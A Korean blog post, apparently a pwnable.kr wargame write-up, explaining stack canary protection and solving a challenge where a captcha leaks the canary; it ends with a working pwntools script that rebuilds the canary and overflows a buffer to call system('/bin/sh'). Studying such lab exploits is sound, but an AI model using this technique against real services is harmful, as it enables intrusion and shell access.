달력

5

« 2024/5 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31



※ 사전지식 


Stack Smashing Protection (SSP) 


이는 버퍼 오버플로우를 막기 위한 방어 기법 중 하나로 아래와 같은 기능을 한다. 

  • 로컬 변수 재배치
  • 포인터 최상단 배치
  • Stack Canary 삽입 


GCC와 같은 컴파일러는 버퍼 오버플로우 공격을 막기 위해 위와 같은 기능을 제공한다. 이는 옵션으로 강제할 수도 있고 기본적으로 제공되기도 한다. 여러 개의 옵션은 다른 형태의 SSP를 제공한다. 


-fstack-protector   취약한 객체를 포함하고 있는 함수에서 스택 스매싱을 검사한다. 여기서 취약한 객체란 함수내에 할당한 버퍼의 크기가 8바이트보다 크거나 alloca를 호출할 때를 말한다. 


-fstack-protector-strong   -fstack-protector와 같으나 로컬 배열이나 로컬 프레임 주소를 참조하고 있는 변수를 포함한 함수에도 스택 스매싱을 검사한다. 


-fstack-protector-all   모든 함수에서 스택 스매싱을 검사한다.


일부 운영체제는 컴파일러에 이와 같은 개념을 더 확장시킨 옵션을 제공한다. 


-fstack-shuffle (Found in OpenBSD)   컴파일 시점에 스택 변수의 순서를 랜덤화시킨다. 


위와 같은 기법들을 추가하여 스택 오버플로우를 탐지할 경우

"stack smashing detected" 메시지가 출력되며 프로그램이 종료된다. 




Stack Canary 설정 방법 

  •  StackGuard의 스택 랜덤 기능 활성화 시 
     "/dev/urandom"을 열고 "uintptr_t" 크기 만큼 읽어온 뒤 이를 Stack Canary 값으로 반환함 
  • StackGuard의 스택 랜덤 기능이 비활성화 시 
    반환 값 중 하나는 0xff 그리고 나머지는 0xA(개행문자)를 적용한 뒤 반환함 
    즉, Canary 값은 terminator Canary 값으로 불리는 "0xff0a0000"이 됨 


사전지식 끝! 






※ 문제풀이 


이 문제는 스택 오버플로우 관련 문제로 스택 카나리가 적용되어 있어 이를 우회하는 것을 의도한 것으로 보인다. 

따라서 스택 카나리를 우회하기 위한 방법에 대해 고민해보도록 하자.  



무작위 대입 공격


일반적으로 네트워크 데몬들은 clone 또는 fork를 통해 새로운 접속에 대해 스레드를 생성한다. 

fork의 경우 child process가 execve를 호출 하느냐 안하느냐 2가지 경우로 구분된다. 


여기서 위와 같은 구분을 하는 이유는 카나리가 생성되는 방식에 있다. 


  • Using fork 
    fork 시스템 호출은 프로세스를 복제하는데 이 뜻은 카나리가 함수 단위로 생성되는 것이 아니라 프로세스 단위로 생성되기 때문에 부모와 자식이 동일한 카나리를 공유한다는 뜻이다. 이는 몇번의 시도로 카나리를 추측할 수 있다는 의미이다(요청할 때마다 동일한 카나리를 가지기 때문). 카나리는 총 4바이트이고 terminator 카나리라면 하위 바이트는 0x00으로 고정되고 나머지 3바이트를 추측하는 것이기 때문에 최대 255 * 3의 시도로 카나리를 찾을 수 있다(by Ben Hawkes).
      
  • Using execve
    execve가 호출되면 자식 프로세스는 부모 프로세스의 text, data, bss, stack을 덮어쓴다(별도의 공간을 갖는 것인지 아니면 정말 덮어쓰는 것인지는 확인해봐야 할 듯?). 이 의미는 생성된 자식 프로스들이 자신만의 카나리를 가진다는 것을 암시한다. 결과적으로 fork와 같이 추측하여 카나리를 찾는 방식은 별 의미를 가지지 못한다. 



규칙성 찾기  


이는 생성된 카나리의 규칙성을 알아보는 것이다. 

정적인 값을 갖는지, 어떤 값에 기반하여 생성되는지 등을 파악하여 값을 재구현하는 방법이다. 




이번 문제는 사실 가정까지만 하고 문제풀이를 미리 봐버렸다. 

나는 무작위 대입공격을 통해 카나리 값을 구하는 문제라고 생각했다. 왜냐면 그게 말이 되니까(?).


근데 다른 사람들이 푼 문제풀이를 보니까 이들은 규칙성을 찾아냈고 이로써 카나리 값을 복원하는데 성공했다. 

중요한 점은 이걸 봐도 어떤 연계점이 있어서 이렇게 구했는지 이해가 되지 않는다는 점이다. 


gs:0x14에 위치한 값과 시간 그리고 캡챠의 관계가 무엇인지 명확한 근거가 없는데 이들은 이 값으로 카나리를 구했다. 

근데 더 웃긴건 하나같이 거기에 대한 설명은 없고 동일한 방법으로 문제를 풀었다는 것이다. 


시뮬레이션 해보니 정말 카나리 값이 구해지긴 했는데 이걸 단순히 우연으로 알았는지 아니면 gs:0x14는 시간으로 초기화되는지 알 수가 없다. 





어째든 문제의 흐름을 봐보자. 


[그림 1] 스택 할당


[그림 2] 문자열 입력 


위에 올린 [그림 1]과 [그림 2]는 스택 오버플로우의 빌미를 제공하는 지점이다.  

할당된 버퍼보다 많은 입력 값을 받는 그런 뻔한 스토리다. 


[그림 3] 스택 오버플로우 발생


그리고 난 뒤 입력 받은 값을 Base64Decode 함수의 인자로 전달하여 스택에 디코딩 된 상태의 값을 저장한다. 이때 궁극적으로 스택 오버플로우가 발생되고 스택 카나리 값이 덮어써지며 결국 에러로 치닫게 된다. 


즉, 스택 카나리 값만 구하면 system 함수의 주소에  "/bin/sh" 인자를 주어 요청하기만 하면 익스플로잇이 성공한다.




그럼 어떻게 카나리 값을 구할 수 있을지 확인해보자. 

우선 사전에 언급한 바와 같이 난 어떤식으로 답을 구할지 가정만 해놓은 상태에서 답을 봐버렸다. 

하지만 내가 한 가정은 1도 맞지 않았다. 젠장!!


어째든 처음에는 가정이 틀리고 답을 봐도 이해가 가지 않았다.

스택 카나리 값을 캡챠와 Time seed 값을 이용해 구한다는 게 납득이 가지 않았기 때문이다. 

gs:14와 이들은 어떤 관계가 있기 때문에 구할 수 있을까 한참을 고민했다. 

내가 모르는 규칙이 있는가!!? 싶어서. 


뭐 모르는게 워낙 많기 때문에 그냥 모르는 내용이었겠거니 하고 찾았는데 도무지 연관성을 찾을 수 없었다.


이윽고 난 캡챠를 구하는 방법을 다시 한번 분석했고 왜 그런지 드디어 알았다. 


[그림 4] 캡챠 구하는 로직


간단히 캡챠 구하는 로직을 설명하자면 정수 배열 인덱스 0 ~ 7 사이에 랜덤 값을 넣고 덧셈과 뺄셈으로 값을 구한 뒤 최종 연산 값을 반환하는 형태로 이루어진다. 하지만 저 빨간 박스 모양을 보면 배열의 인덱스 8을 가리키고 있고 여기엔 스택 카나리 값이 위치해 있다. 따라서 캡챠에서 스택 카나리 값을 얻을 수 있는 것이었다. 


하~ 알고나니 너무 허무하다. ㅠㅠㅠ 

조금만 더 살펴보면 알 수 있었을 텐데.. 뭐 아직 이게 내 실력이니 ㅠㅠㅠ



어째든 이제 익스플로잇을 하기 위한 모든 조건이 갖춰졌다. 

pwnable.kr에 ssh로 접근해서 로컬에 코드를 짜놓고 실행시켜보자. 


from pwn import * 

import ctypes 

from ctypes.util import find_library 


libc = ctypes.CDLL(find_library('c'))

libc.srand(libc.time(0))

arr = [libc.rand() for i in range(8)] 


p = remote('localhost', 9002)


print p.recvuntil('captcha : ')

pw = p.recvline()

canary = (int(pw)-arr[4]+arr[6]-arr[7]-arr[2]+arr[3]-arr[1]-arr[5]) & 0xffffffff

log.success('canary is 0x%08x' % canary)


p.send(pw)

print p.recvuntil('paste me!')


dummy1 = 'a'*512 

canary = p32(canary)

dummy2 = 'a'*12

ret = p32(0x08049187)

retarg = p32(0x0804b0e0+717)

payload = dummy1 + canary + dummy2 + ret + retarg

payload = payload.encode('base64').replace('\n', '')


p.sendline(payload + '\x00/bin/sh')


p.interactive()


무사히 코드가 동작하면 쉘을 얻을 수 있을 것이다. 


[그림 5] 정답



문제풀이 끝! 







가정을 하면 그걸 실행해보고 맞는 지 틀린 지 좀 더 인내를 가지고 찾아보자. 

시간에 너무 좇겨서 이런 과정을 게을리 하지 말자.



화이팅!










References 

[1] SSP - Stack Canary에 대한 Phrack 자료, http://hackability.kr/entry/SSP-Stack-Canary에-대한-Phrack-자료-번역


:
Posted by einai